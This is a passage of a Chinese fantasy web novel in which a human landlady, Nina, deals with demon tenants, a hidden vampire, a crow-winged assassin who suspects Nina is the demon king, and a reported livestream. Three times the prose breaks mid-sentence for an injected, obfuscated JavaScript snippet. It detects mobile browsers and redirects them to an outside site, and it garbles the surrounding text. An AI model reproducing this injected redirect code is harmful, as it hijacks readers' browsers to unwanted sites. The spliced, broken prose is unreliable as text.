她看上去很快就接受了这一切，“所以他才要用星屑隐藏邮件来源，像你们这样的魔族，必须把自己隐藏得非常好。我想，你应该是一位血族成员？” 阿斯代伦微微一愣，神情缓和了一点：“是的。” “可是我不明白，如果《勇者笔记》不是一本公开发行的独立杂志，它为什么会被定期发送到我的邮箱呢？”妮娜很快切换到她自以为的会面主题。 “你没必要知道。” “请——” “我兄长是一个不安分的家伙，也许他想通过某种方式让世界看到自己，你只是刚好被选中了……那只是我兄长随手输入的地址。” 阿斯代伦抢在访客使用魔咒之前就主动说出了答案。 他为自己避免了一次被迫说实话而松了口气。他发现自己应该把握回答的主动权，否则将会失去撒谎的机会。 访客迟疑地接受了他的谎言：“确实……我知道原始魔族是比魔族更加不容于世的存在，三百年东躲西藏的日子绝对不好过，会产生这种心态也在所难免。可是一个魔族，却自称勇者——难道他是一个喜欢反讽的人？” “我想你说的对。” “既然他是一个活了三百多年的原始魔族，那么他写下的内容应该具有一定的真实性。” “也许吧。他不是那种喜欢夸大其词的人，也不善于捏造谎言，但我不保证他会将这种品质代入文学创作的经历——” 说到这里的时候，阿斯代伦的眼神陡然变得锐利起来。 一片巨大的羽毛如同暗器一样刺了过来。那羽毛是黑色的，这个空间的昏暗环境给它打了很好的掩护。 不自量力。 阿斯代伦很快就辨认出这枚羽毛来自他的一位熟人，心中不免产生了轻慢。 不过是一只亚成的半兽人而已，竟敢狂妄到敢对他发起攻击，也不看看自己的斤两。 他打了一个响指，空间里层层堆叠的书本立刻开始抖动，鲜红的液体从书页中汩汩流出，散发出陈旧的铁锈味。这些液体很快就变化出各种形状——多数是长鞭——向黑暗深处探去。 很快，这些忠实的仆人将不速之客五花大绑地送了过来。 23. 冷静交流 “你怎么会在这里？”妮娜惊讶地看着被包裹在红色粘液之中的熟人。尽管有假发掩饰，但那对漆黑的翅膀一下子就让刺客暴露了真身。 不怪她会如此意外，这可不是随随便便就进得来的地方。 阿斯代伦没打算给刺客留下回话的机会，化作利剑的血液气势汹汹地向她的脖子砍去。 “住手！” 那些血液在这声厉喝中被冻结了，甚至没有经过它们主人的意志。 “房东女士，这话我也想问你。你怎么会和这家伙在一起？！”乌鸦完全没有对那些威胁自己性命的血浆有所忌惮，她的神情中透露着不解和失望，像是在看着一个叛徒。 妮娜听出来了，乌鸦和阿斯代伦认识，而且两人关系恶劣。 鉴于乌鸦有一名身为魔女的哥哥，那么她会认识一个躲藏多年的原始魔族也不是特别难以想象的事情。 只是同样身为魔族，他们完全可以对对方表现得客气一点。 难道他们宁可和她这个人类进行正常交流，也不愿意给彼此一个友好相处的机会吗？ “这事一言难尽……”妮娜说，“冷静下来，有什么话可以好好说。” “这些，还有这些——”她先指了指在空中待机的那些羽毛暗器，又指了指铺天盖地的血液，“先把这些危险的东西收起来好吗？” 那些血液立刻以一种委屈的姿态躲回了书页之中，而那些尖锐的羽毛也回到了年轻兽人的翅膀上。 她没有意识到自己正露出一个满意的笑容：“阿斯代伦先生，实在是巧极了，不知道你们两个到底有什么过节，但我身为房东，有责任保护房客的安全。” 阿斯代伦的眉尾抽搐了几下，他看向跌在地上的刺客：“我不想扩大事端，今天算你走运。但你最好对今天发生的事情闭口不提，不然你的兄弟会很不好受的。” 乌鸦抿着嘴唇，她看着阿斯代伦的表情凶险得就像要将他一口吃掉，就这么僵持了片刻，她才勉强从嘴里挤出几个字来：“我知道了。” 她知道自己的新房东究竟是什么人了。 这事超出了她的想象。 但事实和逻辑，乃至她的感官都在指向一个可能性。 妮娜·斯特尔是一个魔王。 所以，她的文字可以轻易地逼退一名魔女，而她的语言，可以让一名贵族无法抵抗。 * “你是怎么找到那地方的？” “这不重要。” 此时妮娜正和她的新房客走在返回公寓楼的路上。 “这不重要吗？我觉得无论是出于对你的保护，还是出于对其他房客人身安全的考虑，我都要弄明白你是怎么进去的。” 乌鸦有些尴尬地扯了一下假发的发尾，那顶化纤产品立刻在她的头顶发生了位移。 她用另一只手在妮娜的头发里一摸，很快，她的手上就多出了一团细小的乌黑的绒毛。 “希望你不要生气，我在你身上留了定位器。这是我的习惯。” 妮娜无语地盯着那团属于鸟类的绒毛：“习惯……到底是什么经历让你染上这种习惯的？但这恐怕不足以让你解开那个魔法空间的密码。” “我能判断出你在哪个书架前停留过，只要仔细一点，也能嗅出你翻过哪一本书、翻到过哪一页。” “了不起的能力。”妮娜侧过头，偷偷看了一眼她那小巧玲珑的鼻头，完全无法想象这个小小器官的灵敏度，“可是你怎么知道那里有一个魔法空间，又怎么知道那行文字就是钥匙？” “这很好猜，你的定位在那里消失了。而把钥匙藏在书里则是阿斯代伦的一贯套路。”乌鸦说。 “你不仅认识阿斯代伦先生，似乎还和他很熟。” “那可不是什么好事。我宁可从来不知道那号人物。” 看来尽管有人类这一头号矛盾存在，魔族内部依然会发生种种龃龉，妮娜暗自祈祷自己的公寓至少能一直保持和睦。 “他究竟对你做了什么？他可是一位原始魔族，我还以为你会很尊敬他呢。” “尊敬！”乌鸦的声线变得尖细了一点，“我怎么可能尊敬那种家伙？！” 她很快又收起了那种亢奋的情绪：“等一下，你说他是什么？原始魔族？你为什么认为他——该死，一群可恶的骗子！” 妮娜感到一头雾水：“你的意思是，他并没有自称的那么古老？” 乌鸦愣了一下，用力摇了摇头，随后闭上嘴巴，不打算就此人再展开讨论。 妮娜生怕自己说出什么不该说的话，于是也开始缄口不言。 “你应该很好奇吧，我和乌瑟为什么会是兄妹，乌瑟又为什么会是一个魔女。”在进入旧城区之后，乌鸦突然开口。 妮娜不由自主地点了点头，忘了自己当初为什么没有一探究竟。 “不管是人类还是魔族，都将魔女当成了第三个智慧种族，只不过数量稀少，而且往往被贵族院掌控着自由。”乌鸦继续说道，“他们都错了，魔女只是一种被制造出来的武器，根本算不上什么独立物种。” 妮娜这时才反应过来事情的走向不妙，但此时再阻止乌鸦显然已经晚了。 “人类和魔族都是用来制作武器的原料，一场混血实验。” “你的意思是，贵族院连人类都没放过？！”妮娜惊愕地看着她。 乌鸦转过头来，表情有些难看。 妮娜觉得自己可能说错了话，“对不起……因为我是一个人类……” 乌鸦神情凝重地看着她，似乎要从她脸上看出些什么来，过了一会儿，才说：“能作为一个人类出生，你真该为此感到庆幸。” 除此之外，她还能说什么呢？ 难道要当着妮娜·斯特尔的面，大声告诉她，你才不是什么人类，你怎能说自己是一个人类——然后将她在这二十几年里积累起来的世界观和认同感摧毁殆尽吗？ 她已经确信，妮娜·斯特尔是一位魔王。 魔王的指令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924282|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不限于语言还是文字，都不容反抗。 她不需要开口，只用一张简洁的符纸就能斥退一个解放状态的魔女，她可以轻而易举地让那些不可一世的贵族收起獠牙，变成顺服的家猫…… 可这又怎么样呢？她口口声声说自己是一个人类，她也打心底里相信自己是一个人类。 更重要的是，她的确继承了魔王的权柄，可身上却没有一丝一毫魔力——一丁点儿也没有。 传说中，魔王有着能让空间塌缩、时间逆流的强大力量，而半兽人少女没法从她的房东身上看到与此有关的任何痕迹。 她的魔力源流和任何一个普通人类一样，是如此空虚，在不借助媒介的情况下完全无法自主发动任何魔法。 她虽然能够阅读远古魔族流传下来的文字，却书写不了任何一个魔法术式，绘制不了任何一个魔法回路。 相信只要魔王出现魔族就可以死灰复燃、东山再起的魔物们，一个个简直天真透顶！ 但与其让他们知晓一个近乎绝望的事实，还不如让他们永远怀着那丝微乎其微的希望被蒙在鼓里。 权力需要相应的力量支撑，与其追捧一个没有力量的魔王……还不如让这个魔王继续相信自己就是一个人类。 不…… 乌鸦看着那双和自己相似的黑眼睛，头脑中蓦然闪过一个大胆至极的想法——如果杀死这位魔王的话，会发生什么？ 生命之树的树冠已被砍去，再也不会有魔王之卵在上面诞生。 当“魔王”这个概念从世界上消失，魔法的根基将被动摇，绝对权力也将不复存在——这意味着七贵族将失去控制魔族的能力。 他们既无法继续压迫底层魔族，也无法继续控制魔女为他们行凶作恶。 在失去魔力之后，死灵们还有他们的不死之身，巨魔们也还有他们的傲人怪力，兽人们或能飞或能跑……所有魔族聚集起来，未必不能与人类的军团一战到底。 他们有机会从人类手中夺回失去的一切：土地，资源，自由！ 这个念头太疯狂了！ 恐怕除了像她这样极少数知道一些内情的存在，没有一个魔族会相信，他们如信仰般暗藏在心里的“魔王”，就是他们被压迫至今的根源！ 如果妮娜·斯特尔消失的话！！！ “怎么了，干嘛用这种眼神看着我？”妮娜对房客突然变得凶恶的神情感到不解，“就算你和阿斯代伦真的有什么不共戴天的仇恨好了，我今天也只是第一次见到他，我们之间绝对没有比‘说过几句话’更深的关系了。” 乌鸦的瞳孔在眼球上晃动了一下。 “你之前给我的那个护身符，我不小心弄丢了，能再给我做一个吗？”她说。 “当然可以。这回我会去文印店做一个塑封套，然后给你找根线穿着，这样就不容易丢了。哦对了，白纸是不是太单调了，我可以再去买一点彩色纸，或者你有没有喜欢的图案——” “白纸的就可以了。” 24. 被举报了 * …… 在这三百多年的生命历程中，我从未知晓臣服一词的真意。 圆桌会议从未对此讳莫如深，经常将这个词语挂在嘴上，甚至热衷讨论如何避免这种情况的出现。我不懂他们对这一问题的热忱。和我的六个同僚不一样，我生来便是要受人顶礼膜拜的。 不过直到今天，我终于切身明白了那些讨论的意义，明白那些人为什么如此忌惮——无论是失去权力，还是接受一个凌驾于自己的权力。因为被迫屈服的感受真的非常糟糕。 阿加雷斯，我真想让你也尝尝这种滋味。 ——《阿斯代伦的日记》 * 总的来说，今天是一个神奇的日子。 在罗德里斯基地被彻底毁坏之后，人类和魔族都基本相信这世上已经没有什么能成气候的原始魔族了。 贵族院一定不敢相信，在他们引以为傲的圣灵图书馆里，就藏着一位拥有强大魔法的古老血族。 而他甚至还有一位也许同样强大的兄弟。 如果不是因为后患无穷，妮娜简直想邀请他们入住罗德里斯公寓。 此外，她还从乌鸦口中了解到了一些过去想要了解却怯于了解的事实。 比如说乌瑟原本是一位深渊巫妖，他刚从生命之树上呱呱坠地，贵族院就将他收容进他们的魔法实验室，几年之后，从同一个枝节上诞生的乌鸦也得到了同样的待遇。 他们被当做实验材料饲养，等到了年龄，乌瑟就被带去完成混血实验，那是一个痛苦而漫长的过程，根据实验体的资质不同，持续时间在一年到十年不等。 乌鸦没能在那里待到可以进行实验的年纪，虽然已经接受了一些耐性培育，即意味着实验材料的前期打磨，但在显露出兽人的品类特征之后，她就被立刻放弃了。 “我有过一种猜测，那就是只有深渊巫妖能完成混血实验。所有的魔女都由深渊巫妖改造而来。因为我和乌瑟是从同一个枝节上诞生的，所以贵族院一开始以为我也是一个深渊巫妖，但后来他们发现我不是，于是就把我丢了出来。我甚至不敢说离开和留下，哪种情况会更加乐观。不过乌瑟告诉我，我无疑比他幸运得多。” 而妮娜从很久以前的一期《勇者笔记》中找到了可以与之印证的记录。 * 在接近创业大赛第一阶段评选的时候，活动官网放出了一个通道，指向下一阶段某个影响项目评价的重要因素。 导师。 这一看似微小的变动在网上却引起了轩然大波，人们都在猜测导师代表着贵族院的势力，而在此之前，没有人会把这个通常被用来刷履历的活动和贵族院联系到一起。 最引人遐想的是导师的人数，七名，刚刚好和七贵族对应，此外则是导师页面的背景，显露出了贵族院的剪影。不少好事者开始顺藤摸瓜，有人试图骇入大赛官网，结果发现了星屑魔法的痕迹。 这种精密的防护墙让骇客寸步难行，但也侧面证实了贵族院与这一活动的关系。 用星屑构筑网络壁障，绝不是光靠有钱就能做到的。 在各种猜想散漫地飞了几天之后，官方下场放出消息，进入第二轮评选的项目，有机会得到贵族院的青睐，甚至获得七贵族的亲自指导和援助。 [相当于第三轮开头就已经决定好决赛圈成员了。] [所以被七贵族看上有什么好处吗？是以后能进入贵族院工作还是什么？不过至少以后就业肯定是不成问题了。] [被贵族院看上的项目负责人还愁什么就业，自己当老板不好吗，谁不想成为下一个独角兽企业的创始人呢？] [后悔这么早确定工作了，要是一开始就知道贵族院会插手，就算断档一年我也要参加这个比赛。] [说的好像只要你参加就能被看上一样。] [我觉得你们想多了，单纯是因为现在就业环境不好，所以政府鼓励创新创业，免得无所事事的大学生到社会上搞出什么乱子来。贵族院站台只是想抬一下活动关注度，过来挂个名，骗更多大学生明年参加活动，就是说明年就业形势估计要更糟了。] [大预言师。] [哦我的七位圣灵，你说的好有道理。但万一是真的能和贵族院接触到，那就赚大发了。我才不会告诉你们我的项目已经稳进第二轮了。] [上面的老哥你还缺不缺合伙人，加我一个，我能提供资金场地，如果是轻工业方面的项目，我还有一些人脉。] 和网络评论的多样性相比，罗德里斯公寓的房客们倒是一致不表示看好。 “我们可不想和贵族院扯上关系。如果他们不高兴了，就会像捻死一只蚂蚁一样杀掉我们。”薇薇安说。 “我担心他们会在暗地里给我们的项目下绊子，他们不会希望看到魔族过上好日子的。”拉弗尔说。 “无论如何，不能放松警惕。”文森特说。 “妮娜，你怎么看？”乌鸦问。 尽管房客们态度消极，妮娜却认为这是一个机会。 “我觉得这是一件好事。问题在于能够进入第二轮的项目数量依然庞大，每个导师都要对接很多负责人，仅仅进入第二轮还远远不够，必须要能够引起导师的注意，让他们关注到这个项目。” 乌鸦立刻皱起了眉：“你是认真的吗？我们本来就是在角落求生的存在，你想把我们暴露到光天化日之下？” “现在乐飞账号的运营情况很不错，这说明你们完全登得上台面。难道你们就不想堂堂正正地活着吗？”妮娜说。 “这……”乌鸦一时语塞，纠结地看着房东。 如果妮娜·斯塔尔单纯是一个人类，也许乌鸦会对她的想法感到尊重，并因为她的慷慨和仁慈对她产生好感。 但妮娜·斯特尔是一个魔王。为整个魔族谋求福祉，本来就是她的使命——而且还是最基本的那种，她却搞得自己好像有多伟大似的。 这让乌鸦非常、非常不快！她真想让这个一无所知的房东明白过来，她做的远远不够，远远不够！ 妮娜对上乌鸦的眼神，似乎看出了她心中藏有怒火——不过她还以为那些怒火主要是冲着贵族院去的。 魔族和人类长年以来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924283|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的矛盾其实症结几乎全部在于贵族院的行动，所以魔族对贵族院心怀怨恨简直是再正常不过的事，妮娜也表示理解。 但是，如果要真正达到她在立项时写下的目标和意义，来自社会上层的关注和支援必不可少，只有从政策层面使魔族的基本权益得到保障，才能真正改变魔族现在的窘迫处境，也才能真正构筑人类和魔族和谐共处的社会环境。 “如果能直接和处于政府核心的七贵族们接触，就意味着我们的诉求也许能直接被决策层听到。”她如实地说出了内心的想法。 乌鸦用力摇了摇头：“不可能的。贵族院绝对不会大发善心地去改善魔族的境遇。” “没有试过，怎么就——” “他们怎么会做这种有可能伤害自己利益的事呢？！他们最希望的就是魔族能够安安静静地当奴隶、当燃料！改善魔族境遇，那谁去给他们当牛当马？！”乌鸦提高了声音，打断了妮娜的话。 文森特看到势头不对，尝试着进行劝架：“乌鸦女士，你的言辞太激烈了，斯特尔女士也是一片好心，她毕竟是一个人类，你不能逼着她像一个魔族那样思考问题。况且她还这么年轻，对很多历史遗留问题知道得并不清楚……” “噢！她是一个人类！！”乌鸦发出惨叫般的声音，欲言又止。她坐在椅子上，做了几个深呼吸，好不容易才平静下来，“她是一个人类，她只是想为另一个种族做些好事，我能苛求什么呢……”她像是自言自语似的说道。 她把手插进口袋里，无意识地用指尖抚摸着那个新得到的护身符。 妮娜担忧地看着兽人少女，她猜测乌鸦一定在贵族院手上吃足了苦头，所以才会反应过度，她认为类似情况的应对也应该被提上公寓经营的课题。 她想了想，说：“让贵族院主动改善魔族福利一定非常困难，但如果能想办法制造出让他们不得不那么做的局面的话……两害相权取其轻，到时候他们一定会乐意作出改变的。” 无论是心理学还是经济学，都会支持这个说法。 乌鸦冷哼一声：“说得容易！” 虽然从目前的收益排名和关注度排名来看，进入下一轮比赛不成问题。 《被横刀夺爱》带来了最初的流量，也带红了魅魔情侣的直播频道。 《忏悔录》则因为神秘的大额打赏带来了出乎意料的话题性，文森特在片中层出不穷的微表情被网友制作成各种表情包，流传甚广。这期节目虽然没有引起一丁点儿社会反思，但是让这位大巫妖成了网络红人。 而以介绍不为人知的魔族知识的几支科普视频则在知识版块深耕，稳定获取观众。 短短几个礼拜，“罗德里斯魔法公寓”这个乐飞账号就已经彻底盘活，有了不俗的变现能力。 但在下一轮中无法获得贵族院的支持，就意味着比赛只能止步于此。 妮娜对着电脑屏幕陷入苦思冥想，试图想出一个能够再创辉煌、能够突破重围的绝妙点子，薇薇安突然发出一声惊呼。 “出什么事了？” “斯特尔女士，我们的直播间被人举报了！” 25. 大吵一架 妮娜接过薇薇安递过来的手机，看到了屏幕上红底白字的系统消息。 [在警告牌撤销前该直播间无法继续进行直播活动。警告牌撤销流程：挂牌二十四小时后，可以找管理员申请撤牌，需按照网站规定提交相关资料，并在接下去八个直播时间内接受管理员随即抽查。] “不用太紧张，应该不会有什么负面影响的。”妮娜快速扫了一眼规则，没有发现什么问题，“我会尽快准备好资料去和管理员申诉。” 魅魔们比想象中还要热衷于事业。 最开始直播的时候，妮娜还得把自己记录下来的灵感交给他们。很快，他们自己也能找到不少吸引人的话题，而且对网络及社会流行风向的把握往往比妮娜更加敏锐，妮娜也就彻底放手，让他们按照自己的想法去进行直播了。 她相信他们珍惜这个机会，不会干出格的事。 从后台能够观察到的数据来看，这对魅魔绝对是兼具天赋和技巧的那类主播，不管是单口相声还是双人互动，他们都很有一套。 况且他们甚至可能是绝无仅有的，货真价实的魅魔主播，光是这一点，也能让他们脱颖而出了。 “这就是贵族院的态度——他们一定想要封杀我们！”乌鸦已经从旁了解了事态，冷冷说道。 妮娜摇摇头：“在没弄清真相之前，还是不要妄下定论。” 乌鸦因为她的这句话又生了一肚子气。 “在直播间解封之前，有什么是我能做的吗？”薇薇安说。 妮娜想了想：“你可以和拉弗尔去街上逛逛，最近你们一直在工作，应该劳逸结合。” 薇薇安眨了眨眼睛：“我们喜欢这份工作。噢，不过我们最近是不是花了太多钱在购买服装和化妆品上？” “那是你们自己挣来的钱，你们可以用得更加心安理得一点。”妮娜说，“不过学会规划和理财也很重要。” 薇薇安做了一个嘘的手势：“短命的种族更喜欢过肆意一些的生活，我们信奉今朝有酒今朝醉。” 魅魔们在房东的劝说下出门放松去了。 妮娜从电脑端登入了乐飞的账号后台，检查了一下过去几天的直播记录，试图确认是什么内容遭到了举报。 根据举报信息，她很快就锁定了出现问题的内容，但视频显示的无论画面还是语音，都健康到不能再健康。 她又把举报信息仔细看了好几遍，才终于在角落里看到了“反人类”的字样——这是一件很严重的事情。 “……绝对不会做出违反人类社会法律的事情。”视频里的薇薇安如此说道。 这大概就是所谓的人红是非多吧。 “估计是有人眼红这个账号的成绩，毕竟之前那笔十万的打赏实在惊人。”她对仍没消气的乌鸦解释道。 接着，她便开始噼里啪啦地开始敲打起申诉小作文，希望能够加速解封的进度。但很快又停了下来。 很明显，这不是简单的举报，有人盯上他们了。 有人看不惯他们的迅速走红，企图用这种卑劣的手段阻止他们的事业发展，也有可能是憎恨魔族的种族主义者对他们的打击。 既然对方能以如此不合理的理由成功举报，就说明接下去还有可能会出现第二次、第三次。 她担心在这次撤牌之后，挑骨头的人会有更加激进的行为。她可不希望自己的租客在将来遇上一场网络暴力。应该谨慎。 “不继续申诉了吗？”文森特问。 “嗯，先冷上几天吧。我看看能不能调查到举报者的情况，搞清楚对方到底是什么来头。” * 阿尔弗雷德准备考察一下敌情。 贵族院加入创业大赛的新闻让他摩拳擦掌，原本靠着风口走了大运的他决定认真审视一下项目的未来。 敢用魔族当噱头的项目数量不多，能名列前茅的更是屈指可数，他的地狱火算一个，然后就是罗德里斯公寓了。 他好奇地摸进项目主页，看到了履历中视频网站的链接，打算看看这位对手在搞什么名堂。 短剧，科普，还有直播，人气不低，从账号等级和创建时间来看，这些日子想必已经挣了不少。 “魅魔主播？就不怕被举报吗？”他翻看着直播页的录播内容，有些为该项目的胆大妄为感到不可思议，“只要把这个直播间举报掉，再让他们陷入一些丑闻风波，参赛项目也就基本黄了，毕竟又不可能真的靠那些魔物们交的房租来赚钱。” 阿尔弗雷德选择了一条录播，却发现无法播放，这才发现直播间的顶部有一行警告标示。 “经审核考订，该直播间有禁止传播的内容，在整改完成前，不得进行直播，点击查看详情。” “什么嘛，这都不用我动手了！” * 账号遭到举报的第二天。 继因为超时空星舰集群登上热门搜索之后，罗德里斯魔法公寓因为被莫名挂牌再次成为社交网络的话题，从获取流量的角度来说，可以算是因祸得福。 [这么阳光开朗正能量的直播间都能被封，那些□□□的反而留着，有没有天理了？] [谁让主播自曝是真魅魔？魔族就不该出现在网络上，污染眼球。] [楼上老哥，你自己主页里那些东西才叫辣眼睛好吗？] [呜呜呜，以后都不能看到我CP在线发糖了吗？] [放心，看警告牌的说明应该是很快就能解封的，不可能一直封下去。] [我觉得还是不要太乐观。以前那些魅魔直播间平台肯定都知道背后是人类，所以才放任不管的。这回碰上真魅魔，要是贵族院问责下来整个平台都吃不消，索性直接封了直播间呗。] [不过就是聊聊日常撒撒糖，净化一下我们的眼球而已，连这都要封杀？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924284|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人太多也不能乱设岗位好吧？] [看到有这么多人出来维护一对魔物，我就知道平台是封对了。] 妮娜正毫无目的地击打着键盘，思考如何才能揪出那个强词夺理厚颜无耻的举报者时，有人敲响了她的房门。 “房东女士，这是你的东西吗？”乌鸦提着一个小包裹站在门外。 是萨利送来的那包汤料，妮娜记得自己把它放在冰箱里了：“是我的，怎么了？难道我上次用过之后忘记放回去了？” 乌鸦用她那双乌溜溜的眼睛翻了一个白眼：“我买了一些鸡蛋，想放到冰箱里，没想到在冰箱里发现了这个。你知不知道里面放了多少抑制剂？打开冰箱的瞬间我差点被那玩意儿的味道熏死过去。” 妮娜吞了口唾沫：“我不知道你对抑制剂会有这么大的反应，抱歉，我以为那种东西只有吃到肚子里才会生效。” “你知道这里面有抑制剂，可你仍把它放在冰箱里？”乌鸦睁大了眼睛，不可置信地看着她。 “它是很方便的食料。不过最近由于魅魔们的搭伙，我有些时候没用过了。哦，对了，一直忘了问你，你也要加入搭伙吗，每人每月只需要三十卡什。” “不要岔开话题，听好了，你不能再吃这玩意儿，最好让它永远消失在这间公寓里。”乌鸦的声音非常严肃，好像这是一包毒药似的。 妮娜没料到她会对抑制剂如此反感，不过很快就想到了一个折中的方案：“我会再额外买一个小冰箱，专门放这东西用，以后如果不小心买到了你们不能接受的食材，也可以全部存到那那里面去。” “你没有听到吗！”乌鸦一下子把音量提高了很多，“我让你不、要、再、吃这玩意儿了，永远也不要！” 妮娜被她吓到了，同时也对她的强硬无理感到不满，她觉得自己已经做出了很大的让步，但她也有自己的底线，“你不能因为自己不喜欢，就要求别人也不能碰吧？更何况这可是萨利特意给我做的！” 尽管她觉得自己没有使用什么刻薄的言语，但房客脸上那副受了重伤似的表情又让她于心不忍，她又放缓了语气，说道：“我想你一定也是为了我好才会那么说的，不过我已经确认过，魔族抑制剂对人类没有不良影响，不仅薇薇安这么说过，我也去网络和图书馆里查证过，是真的没有影响，所以你大可放心。” 乌鸦的表情看上去似乎要窒息了，“你……你不能。你……你不是。”她的舌头似乎在和她的倾诉欲作斗争，“萨利是谁？” “我的母亲。”在说这句话的时候，妮娜看到乌鸦咬了一下嘴唇，而且她一定非常用力，因为她看到她咬过的地方已经渗出了血迹。 妮娜不知道“母亲”这个词又怎么了。 虽然乌鸦在七贵族的研究室里度过了一个不愉快的童年，但作为生命之树的子嗣，她应该不会对“母亲”这种词产生特别的情绪才对。 26. 潜入调查 “该死！该死！如果不是这东西的话，如果不是这东西的话——”乌鸦颤抖了起来，“什么母亲！怎么可能！！那些骗子……” 接着，她狠狠地瞪了一眼手里的包裹，将它扔进妮娜怀里：“好吧，好吧，你就细细去品尝这母亲的味道好了，真能吃死你才叫好呢！” 她说完就转身回自己房间去了。妮娜还能看见她后颈上因为情绪亢奋而冒出来的一些羽毛。 她又提到了“骗子”……她干什么这么激动呢？ 如果老鼠药对魔族来说是种无害的东西，那么一个人类会因为看到自己的魔族朋友在吃老鼠药而大动干戈地对其进行阻止吗？ 妮娜想，虽然心理上可能会觉得有些不舒服，但她应该不会产生这么剧烈的抵触感，毕竟那是无害的，对吧？ 但之后她又静下来想了一会儿，考虑到一个可能性，也许乌鸦小时候在实验室里因为抑制剂吃了不少苦头，所以才会有这种像是创伤后应激的表现。 这是一个非常合理的解释。 于是她就释然了。 她让恶魔城在自己的房间里多添置了一个迷你冰箱——反正是举手之劳的小事，她愿意多迁就一下那些苦难深重的房客们。 坐回电脑前，视频账号的后台不知何时多了一条让人在意的留言。 “原谅我不请自来。简单调查了一下，你的直播间是被用户UID3291837举报的。” 留言者的昵称叫“潜入调查”。听起来就像专门在网络上调查胡乱举报事件的好事者。 暂且不管留言者的身份，妮娜循着留言中的UID找到了举报直播间的用户，在访问过对方的主页之后，发现上面挂着一个非常显眼的粉丝徽章“夜厅之王”，是一个叫做莉莉的主播的高级关注者的标志。 妮娜顺势拜访了莉莉的主页，发现封面上的那张面孔有些眼熟，这就是她当初考察魅魔主播行业现状时观察过的那位主播。 在莉莉直播间的留言板上，能看到很多对其身份的质疑。 [好好一个姑娘，干什么不好，居然假扮魅魔？作践自己也不是这样玩的吧？] [想擦边就擦边，装什么魅魔，我最看不起这种人。] [不就是冒充魅魔嘛，你们有必要这么上纲上线欺负一个小女孩？] [我之前就觉得有点假，魔族怎么可能这么容易当独立主播，不是背后有金主，就是人类反串的。] [我关注的其他几个魅魔主播都已经承认自己是反串了，人家现在该唱唱，该跳跳，热度是减了，但至少没被冲，主播也别再嘴硬了，大家都喜欢诚实的人，有错就认的话大家都很好说话的。] [想看表演的推荐去黄金森林，想看真魅魔的去魔法公寓，总之这里可以散了。] [上次来的时候只有三万粉，现在已经快十万了，可能她就是缺这点热度所以才死不承认。] [几天没来，谁讲讲出什么事了？] [把我投的打赏还给我！！！] [不要管别人怎么说，我知道你是真的。不管多久我都会等你回来。] 虽然也有一些试图讲道理和试图维护莉莉的留言，但多的是比上面那些更加难听肮脏的评论。 顺带一提，最后那条有些肉麻的留言就是UID3291837发的。 大多数关注魅魔主播的人都只是看个新鲜和热闹，也有不少人是被魅魔在那方面的名声吸引过来的，只有极少数人会真情实感地喜欢和支持她们。 一旦发现她们弄虚作假，原本的路人观众们就有了指责和贬低她们的把柄，可以向她们肆无忌惮地发散在现实生活中积累起来的不满。 那些污言秽语不是冲着妮娜来的，却也让她感到胆战心惊，呼吸加速，可想而知，主播本人在看到这些文字时心里会有多不好受。 就算是人类，在从事这一行业时也会遇到各种各样的麻烦。 看来薇薇安和拉弗尔的直播间所产生的影响力，不光光是得到了大量粉丝和获得打赏那么简单，还对网络上整个“魅魔主播”的圈子形成了巨大冲击，而在此之前，妮娜对此一无所知，恐怕薇薇安和拉弗尔也没有注意到。 一部分主播通过承认错误和及时道歉，再凭借自身的过硬才艺，平稳地渡过了这场风波，一部分本来就只是赶个时髦的主播则索性销声匿迹，剩下既不消失也不认错的莉莉就成了众矢之的。 可是为什么莉莉宁愿承受评论区里这些巨大的恶意，也不愿意承认自己只是假扮魅魔赚取流量。是像评论区说的那样，想借此自我炒作，还是有别的原因？ 她盯着主页上面容可爱的女孩沉思片刻，抱着试一试的想法打开私信界面——莉莉并没有关闭私信，这一点让人感到意外。 “可以和你聊聊吗？” 发送出去的消息并没有被接收的迹象。 可以想见，莉莉的私信很可能已经被铺天盖地的污言秽语给塞满了，她的这条消息十有八九要石沉大海。 她又给潜入调查回了一条私信：“谢谢你的告知，可是你为什么要这么做？” 这边倒是很快就给了回音：“我是一个魔族，想在罗德里斯公寓租一个房间。也许情报工作的能力可以用来支付房租？” 这个回答让妮娜感到始料未及。 能拥有自己的通讯设备的魔族已经很少见了，在此之上，还掌握了情报信息技术的更是屈指可数。 这一定是个厉害的家伙。 他未必支付不起房租，唯一的问题在于想要保持自由自身的同时获得一个稳定的住处，对任何一个魔族来说都不是件易事。 不过妮娜相信，他提出的支付方式一定比她规定的那个价格低廉的租金要有价值得多。 “当然可以。”她爽快地回复道，“你一定已经知道这里的地址了，打算什么时候过来看看？” “我已经在路上了。” 